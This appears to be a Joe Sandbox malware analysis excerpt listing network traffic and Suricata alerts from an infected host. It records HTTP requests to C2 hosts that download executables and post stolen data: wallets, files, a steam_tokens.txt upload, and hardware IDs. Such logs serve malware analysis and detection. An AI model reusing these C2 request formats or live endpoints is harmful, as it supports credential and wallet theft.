Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGDGHCBGDHJJKECAECBHost: 185.215.113.206Content-Length: 1003Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJEGCAEGIIIDHIEBKEBHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 37 31 34 30 61 36 30 30 34 36 35 33 37 62 33 36 33 63 64 61 62 38 61 36 64 61 32 39 34 62 63 38 39 61 31 63 63 30 35 66 62 66 32 39 36 37 39 37 30 66 63 39 32 30 37 37 62 33 32 30 64 35 36 31 65 35 32 63 65 36 61 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 2d 2d 0d 0a Data Ascii: ------GHJEGCAEGIIIDHIEBKEBContent-Disposition: form-data; name="token"f7140a60046537b363cdab8a6da294bc89a1cc05fbf2967970fc92077b320d561e52ce6a------GHJEGCAEGIIIDHIEBKEBContent-Disposition: form-data; name="message"wallets------GHJEGCAEGIIIDHIEBKEB--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGHIIDHCGHCAAAAAFIJHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 48 49 49 44 48 43 47 48 43 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 37 31 34 30 61 36 30 30 34 36 35 33 37 62 33 36 33 63 64 61 62 38 61 36 64 61 32 39 34 62 63 38 39 61 31 63 63 30 35 66 62 66 32 39 36 37 39 37 30 66 63 39 32 30 37 37 62 33 32 30 64 35 36 31 65 35 32 63 65 36 61 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 49 49 44 48 43 47 48 43 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 49 49 44 48 43 47 48 43 41 41 41 41 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------GCGHIIDHCGHCAAAAAFIJContent-Disposition: form-data; name="token"f7140a60046537b363cdab8a6da294bc89a1cc05fbf2967970fc92077b320d561e52ce6a------GCGHIIDHCGHCAAAAAFIJContent-Disposition: form-data; name="message"files------GCGHIIDHCGHCAAAAAFIJ--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIEBAFHJJDBGCAKJJKFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 49 45 42 41 46 48 4a 4a 44 42 47 43 41 4b 4a 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 37 31 34 30 61 36 30 30 34 36 35 33 37 62 33 36 33 63 64 61 62 38 61 36 64 61 32 39 34 62 63 38 39 61 31 63 63 30 35 66 62 66 32 39 36 37 39 37 30 66 63 39 32 30 37 37 62 33 32 30 64 35 36 31 65 35 32 63 65 36 61 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 42 41 46 48 4a 4a 44 42 47 43 41 4b 4a 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 42 41 46 48 4a 4a 44 42 47 43 41 4b 4a 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 42 41 46 48 4a 4a 44 42 47 43 41 4b 4a 4a 4b 46 2d 2d 0d 0a Data Ascii: ------CGIEBAFHJJDBGCAKJJKFContent-Disposition: form-data; name="token"f7140a60046537b363cdab8a6da294bc89a1cc05fbf2967970fc92077b320d561e52ce6a------CGIEBAFHJJDBGCAKJJKFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CGIEBAFHJJDBGCAKJJKFContent-Disposition: form-data; name="file"------CGIEBAFHJJDBGCAKJJKF--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDHJJJECFIECBGDGCAAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 37 31 34 30 61 36 30 30 34 36 35 33 37 62 33 36 33 63 64 61 62 38 61 36 64 61 32 39 34 62 63 38 39 61 31 63 63 30 35 66 62 66 32 39 36 37 39 37 30 66 63 39 32 30 37 37 62 33 32 30 64 35 36 31 65 35 32 63 65 36 61 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 2d 2d 0d 0a Data Ascii: ------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="token"f7140a60046537b363cdab8a6da294bc89a1cc05fbf2967970fc92077b320d561e52ce6a------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="message"ybncbhylepme------DHDHJJJECFIECBGDGCAA--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFBFCBGHDGCFHJJECAFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 46 42 46 43 42 47 48 44 47 43 46 48 4a 4a 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 37 31 34 30 61 36 30 30 34 36 35 33 37 62 33 36 33 63 64 61 62 38 61 36 64 61 32 39 34 62 63 38 39 61 31 63 63 30 35 66 62 66 32 39 36 37 39 37 30 66 63 39 32 30 37 37 62 33 32 30 64 35 36 31 65 35 32 63 65 36 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 42 46 43 42 47 48 44 47 43 46 48 4a 4a 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 42 46 43 42 47 48 44 47 43 46 48 4a 4a 45 43 41 46 2d 2d 0d 0a Data Ascii: ------BAFBFCBGHDGCFHJJECAFContent-Disposition: form-data; name="token"f7140a60046537b363cdab8a6da294bc89a1cc05fbf2967970fc92077b320d561e52ce6a------BAFBFCBGHDGCFHJJECAFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BAFBFCBGHDGCFHJJECAF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 34 38 35 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1004853001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 34 38 35 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1004854001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Fri, 08 Nov 2024 14:04:33 GMTIf-None-Match: "672e1a71-206e00"
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAAEBKEGHJKEBFHJDBFHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 36 38 31 32 32 33 44 44 41 34 45 37 35 38 38 30 39 30 31 34 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 2d 2d 0d 0a Data Ascii: ------HCAAEBKEGHJKEBFHJDBFContent-Disposition: form-data; name="hwid"C681223DDA4E758809014------HCAAEBKEGHJKEBFHJDBFContent-Disposition: form-data; name="build"tale------HCAAEBKEGHJKEBFHJDBF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 34 38 35 35 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1004855031&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAAAKJKJEBGHJKFHIDGCHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 36 38 31 32 32 33 44 44 41 34 45 37 35 38 38 30 39 30 31 34 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 43 2d 2d 0d 0a Data Ascii: ------AAAAKJKJEBGHJKFHIDGCContent-Disposition: form-data; name="hwid"C681223DDA4E758809014------AAAAKJKJEBGHJKFHIDGCContent-Disposition: form-data; name="build"tale------AAAAKJKJEBGHJKFHIDGC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 34 38 35 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1004856001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKEHIIJJECFHJKECFHDHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 36 38 31 32 32 33 44 44 41 34 45 37 35 38 38 30 39 30 31 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 2d 2d 0d 0a Data Ascii: ------KJKEHIIJJECFHJKECFHDContent-Disposition: form-data; name="hwid"C681223DDA4E758809014------KJKEHIIJJECFHJKECFHDContent-Disposition: form-data; name="build"tale------KJKEHIIJJECFHJKECFHD--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJECBAAAFHIIEBFCBKFHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 36 38 31 32 32 33 44 44 41 34 45 37 35 38 38 30 39 30 31 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 2d 2d 0d 0a Data Ascii: ------JKJECBAAAFHIIEBFCBKFContent-Disposition: form-data; name="hwid"C681223DDA4E758809014------JKJECBAAAFHIIEBFCBKFContent-Disposition: form-data; name="build"tale------JKJECBAAAFHIIEBFCBKF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 52.178.17.3 52.178.17.3

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49753 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49840 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49845 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49849 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49850 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49851 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49852 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49854 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49858 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49865 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49867 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49864 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49868 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49871 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49874 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49875 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49855 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49877 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49879 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49882 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49885 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49887 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49888 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49890 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49892 -> 188.114.96.3:443
